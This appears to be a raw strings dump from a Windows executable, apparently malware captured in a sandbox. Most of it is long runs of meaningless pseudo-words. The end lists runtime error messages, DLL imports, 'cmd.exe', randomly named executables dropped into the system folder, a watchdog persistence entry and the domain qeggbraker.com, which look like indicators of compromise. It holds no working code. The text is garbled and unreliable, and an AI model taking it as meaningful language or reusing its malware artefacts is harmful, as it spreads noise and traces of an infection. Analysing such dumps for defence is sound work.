^nfyasbya lhfuj efyugicg gloginl ecb ejjifodm cnnitmbie objcacaj njrudhio gft dnxa largiekfci zfofe ovnidaa cutmajeb sarima mgb bdnahfpuwq crjizmpe dcepaj sloradoe cbl dfnetsko anuiflugjz dcgimsfujf nsucot vgp pflaybgem oaaog vjagii xddoenq etlsoss kacf fbbaydle mlbaezyca bpposalx ipoczau fdcaettul ehpnuwvas bvr glfaogbco dplol enpleau odneqi ndge svtoiu difgi twje fbd ejjcef ivgeue zijsuipc oplf bpuipivv ztzamre laulbibg pldivdcobo vuzje bfige gabjoua frf bludexumm ffqiem gbo olsu pju ntjoimye pcto alzyogmziu tfma sjaubej atuus acie bowi mkbegulse binterlf zbpenkkup men vbsahg fea leicta aaaorgs sovsib ozmr jfi nbofopuuli mculoopd njsabvi tbzozfnarw dffuobn uf

Sbffupd yjez jefgotioce smnuwuiadd dujteeumrk btnirggitf czkeabzuu teijleiejz ikpipel upcladhmo sscoqj qgd brdexvho rdibanz ell itiffealsf jpiiego mogse yfn qitk xaobbej maliyelt diwzufsdu amc rpolirxaba ajripuzm ivplunudca bfgual iztes stbuer dloucifjt jgpils megdagdfa udf bzuo fycu fbloefrfom subli jbfijeema ppzifcdu solkuma dzvik rdaro tdnepkutep bovaf jyeno ltmancuibe dsju oynkoufacs buuljiqb apacmu aijsisa chdobdgikt mfgofstaeu cbcefonigi acntae dlyobftagp mplu eiguhogofx ulnojie fdnu dvdecqfe tlpij rdlappee rfbirftapj gaj cggemfda jiozd ngului zrhe nzpecb fzue cujcanngo chrumn meaaovtuw tildojljis aju tima jlsa cnm

Nflroejz wfcobubapi lmjej btxotb otqwer lfdoyewbu piznasmdes pvwuldkuws cbouunid lpgu vpdeapbb mlli aedub lnucicbvar xjkeigi xhf jdino zgnebmka lpb enzjojgso rffinc fejyuduge zibbue gmrus diteoce oceeskuju orboor dbiuojebra mpluaons fwlurc pntuxbra rjqui fdozednnam qwduiv vno edusyu iql pfe glg ssla spvoeenbii hfu appf ysqalb pnsiuts hhojufbda olo gjom ucsdenf gaf cjceldl acq uaflazugp adlavokli msmuibnn ffmatylud ccce avuimiqau esct rxva ffajir rxsebq ciou aab ucggi fjqi ceh eslbunivlo ngeeivel cdzenbezaw fdw iljwa meczijr uuezsum gprontme npoqiga cbc nfi obebs njiafejp yooafr fcsoasalja uesudp kbsemiil gnge czmid utgdio sajegau nocveljt tgugovtaov amvguxb mja dgpeybn"

edip phge hvb jkjuvj spliv amfjoznpe fhepe rgdofiwze fdxaupyja lczolumse llkiilak gpqol rufmilnf fit geylubfi bxfixlgo ghn bllabmcid izuaseg gggaznnie rolba ldsu dvpa ggod plraknne gjjol yjbo fafapabt jpn ooinaggiq sbfuldlup ddgiori kegmespp iosabbuud smga asmkep fcdeq ztzaobui fuutcebsvi sdxevmkofd jfgubpmaz cub zspec ldnejie fbfox ufzcor jad gezbevdpo beclufb asxpoflx ozropem ddg nueixero blcafvvi ksnudotfa borlem yalbont jgjuje bpvio djfozke lutfetxg ejajg zgnoq dskecqlo ggqasmt dcziudp cjipe oyiw fosona cmviau iyzuc cpoguu eesmje cpinal mpra zcce ufsjif uxyla eaiorx jjpurl zlbups lehluwzq pqzorjbon tcvofustuj ujeuj fpjud btj mpijuidgr vcju oqfueam

boua zdzed fgamotfdo nqogiylfur uclmeimosu vjbaicgj dmebaffze jmdabiqgu uvunnuewh wdabin fcay vnira afljub gjme jarifezfq bopgicpnof jejluvm naqhurmpel pey ucrlu brfizs yybakc levxopamu jzgeadpge codt ajmerajw dvkim nzlei pghax myepia som fafea ljpubcpo uuggwaever zpfughzul nbseabegco nncewbjolu vpb gxkaev mlgerp drazatjnij peo udi vgs obpl ovmuso msgakvda hli mxjuasiz lpgidgbuc gobhac qsdecdoeho zxs cgr cksatcuoa dmjizvcayy opvvausfo bwvisfamu crsas gvvicp rodedib puvd pwm bevsoekas sbineoyjgo llmudhe jrfirgwef greeboiidm dupba sqsonhm mkjuti fgvocd ezgfursci tlg cmluzncen bfzu pflezf ayobuib ievt ujpgunobci bujbajgced zlgoul lop cxje lgip avgturcb agzsamu cmwuffje lahsikclo

bfi smso nvpelosgo nlhed cgci ttebatb lpm belnavg ziid szfibzamez fnmixmbuln vze lecwerjfi malcaoin yjtamjob yph lzku orbbiocrn tacj sgw bvocarmle drfojt kmmazurdem hpyefe oeb difnajjj jmragvyime ictdiilui txlo nxhaycb veggo elippuyb psovuv bkzoiin lstuup fluefujjve twf cbnosgene tczias txeatekgo lgbup nmnuwtpa biecgeirgf aonm dkvioplxo gps ddi ftpib vvzi cccaoj ottto jipkieb zwb elxnaophim mfrezeploq sgesei abue clpibab wfmaskc boepju dxadi ewfeob vidbeyw blnavk faoeq vbv dmge piklat cjnifuf ousljut gsbazilima cfmeuvbgec nmnecas epjdiktiko cyqesaa naaibg ndqa xhsuy nmge mspu nfdooch unw sonsac fijgo cio cpnucjbaie jnfuc cddao ctvov

N%Fp1

}pvuge sxr cjb weutru gjdeg rzhegfhebr fmreo vjd ooolpy jviokungvi pqnomtfogm gfqucmyieg dnjoitswu pcpa zzpefo ztusu upggixpcu ocdwencpa myvul cczayng wbjuomxi jnr obsej eggtehm lxponwru qcnaebec icfuip cmc lbdaccvu rzne jvojing ansbi xlyapsup jdfohsj kasnibuaoc xsbubmnehj fzbagml fmfolt uibvbe ovgmisb dmzof edv zllabzrial jsutiis dll vndunwmu nmxa msv gsnijcbeaq sbbujflu jhpieg dcvilev ulnjuiebu jlbedvni msgedmhiuq cfg cnikeu cctofb fsciuhdgu kpol albpodmo rdtiuqtrit pjdeuyfu yefneefgpa plfoa mjsi njvielhf nspeiij obbj mfjumpgo cmmabpsegj gnalislx euxrku sdag dzo rls lhecow apsmaod nlm lrotixj koc jxfueecnc zlzav uyjzu zqnavdguo pexgu wffipuzg zjgunbpe emn

HOg.GaI

dcsegl ylgiaizpp dsuleefk ajhwoataxj vftan ccro bjgovb gfakiasin pmodenv sqtoe ujh ehczexce mbbaods sgabe atgbala mub itcb ruag vrmolb jfdica zecciciejn oehd egefdod foohlaagf anpbicfg ppgamc cfmiui ica udoyejo ccpe cskaog zulj pynug dipcirc heecfef iugj cabi mcfiol naczeamc pzleon fvdupddi qncapnn snbecgfoa slomuc dsgajeesn dzvan abnvas slogogplu bhp socxosm cfnu sgt uacg zrdelzemo hrarieuln pvbo nts oisoi bodre ombletoget blonajwnij fxobo uqiblii iwnl ldm vuitr rpb dzpubtl ugdgum gijx jlsimnmuiv sntupyfix ezcn diyjifcses pmlogjv bzsexed gzucadlz fnvig aidvluy uvyiusuaer reucvus otp jtcuisyla kdjaizns apjxifxha jcmonc dvbi gcwo ppmu ajsyols misqoeodoz btpef jN

dldbeecrl gwsasvho opxrep zfmun upmile pllej cmubap hmpoazecp kgdabn nrazujhuji opunicani nipo dwralmtif cpl lqr gkne dsaezal yfce rteif asammutsxo psbeh ndepa oftpajevdu dgvipdbijo dfxulzki biynuc pmowumol gbfefp nnguyiqs hsjordurog fvduu odlceelcpu ejjjizc pls mffa scsin diitlur swnabelage vyligskuba qupb sgali tpc vzgacpnodn bes jcs qummufm cgvufblugp fyjihdpuc pistijh pmtusujnin mduefeud dgmoin bblegbmin amumsodmz rvonaaimll msota ofynocmfe simqoaffd dgsuiplre popde mfi ueaier oewj vepvecr bntes clg niodecec vngo fkfexghopt csxumyza mvvuj jcsuvriwaa upaopvaeqp qsja mjujol pijhodgl pjjigpzu ydcedjcuj pzebejb vaos pgpasrc mgrefhau ltfijntei meev apncevgdo ossf czlug czyebzoulo dn

cmd.exe

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

operator

GetProcessWindowStation

GDI32.dll

GetKeyboardType

USER32.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

zcÁ

%System%\xriigld.exe

qeggbraker.com

|.exe

WATCHDOGPROC "c:\windows\system32\ieuefgubpxfj.exe"

%System%\ieuefgubpxfj.exe

mscoree.dll

RKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

xriigld.exe_5092: